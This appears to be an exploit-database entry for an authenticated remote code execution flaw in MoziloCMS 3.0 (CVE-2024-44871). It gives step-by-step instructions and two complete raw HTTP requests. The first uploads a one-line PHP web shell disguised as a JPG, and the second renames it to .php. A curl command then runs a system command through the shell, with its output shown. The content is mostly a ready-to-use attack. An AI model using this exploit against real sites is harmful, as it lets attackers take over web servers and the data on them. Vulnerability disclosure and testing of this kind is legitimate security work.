15b516383f
4 changes to exploits/shellcodes/ghdb KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MoziloCMS 3.0 - Remote Code Execution (RCE) X2CRM 8.5 - Stored Cross-Site Scripting (XSS)
128 lines
No EOL
3.8 KiB
Text
128 lines
No EOL
3.8 KiB
Text
# Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE) (Authenticated)
|
|
# Date: 10/09/2024
|
|
# Exploit Author: Secfortress (https://github.com/sec-fortress)
|
|
# Vendor Homepage: https://mozilo.de/
|
|
# Software Link:
|
|
https://github.com/moziloDasEinsteigerCMS/mozilo3.0/archive/refs/tags/3.0.1.zip
|
|
# Version: 3.0
|
|
# Tested on: Debian
|
|
# Reference: https://vulners.com/cve/CVE-2024-44871
|
|
# CVE : CVE-2024-44871
|
|
|
|
"""
|
|
################
|
|
# Description #
|
|
################
|
|
|
|
MoziloCMS version 3.0 suffers from an arbitrary file upload vulnerability
|
|
in the component "/admin/index.php" which allows an authenticated attacker
|
|
to execute arbitrary code on the "Files" session by uploading a maliciously
|
|
crafted .JPG file and subsequently renaming its extension to .PHP using the
|
|
application's renaming function.
|
|
|
|
#####################
|
|
# PoC for webshell #
|
|
#####################
|
|
|
|
Steps to Reproduce:
|
|
|
|
1. Login as admin
|
|
2. Go to the Files session by the left menu
|
|
3. Create a .jpg file with it content having a php web shell
|
|
4. Upload the file to the server via the upload icon and save
|
|
5. Rename the file to .php on the web server and save
|
|
6. Access webshell via this endpoint :
|
|
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php
|
|
|
|
==========================
|
|
Request 1 => Upload File: #
|
|
==========================
|
|
|
|
POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
|
|
Firefox/115.0
|
|
Accept: text/html, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------186462060042780927583949521447
|
|
Content-Length: 607
|
|
Origin: http://127.0.0.1
|
|
DNT: 1
|
|
Connection: close
|
|
Referer:
|
|
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
|
|
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
|
|
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
|
|
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
|
|
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="curent_dir"
|
|
|
|
Willkommen
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="chancefiles"
|
|
|
|
true
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
files
|
|
-----------------------------186462060042780927583949521447
|
|
Content-Disposition: form-data; name="files[]"; filename="revshell.jpg"
|
|
Content-Type: image/jpeg
|
|
|
|
<?=`$_GET[0]`?>
|
|
|
|
-----------------------------186462060042780927583949521447--
|
|
|
|
===========================
|
|
Request 2 => Rename File: #
|
|
===========================
|
|
|
|
POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
|
|
Firefox/115.0
|
|
Accept: text/html, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 98
|
|
Origin: http://127.0.0.1
|
|
DNT: 1
|
|
Connection: close
|
|
Referer:
|
|
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
|
|
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
|
|
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
|
|
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
|
|
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
action=files&newfile=revshell.php&orgfile=revshell.jpg&curent_dir=Willkommen&changeart=file_rename
|
|
|
|
|
|
####################
|
|
# Webshell access: #
|
|
####################
|
|
|
|
# Wenshell access via curl:
|
|
|
|
curl
|
|
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php?0=whoami
|
|
|
|
# Output:
|
|
|
|
www-data
|
|
|
|
""" |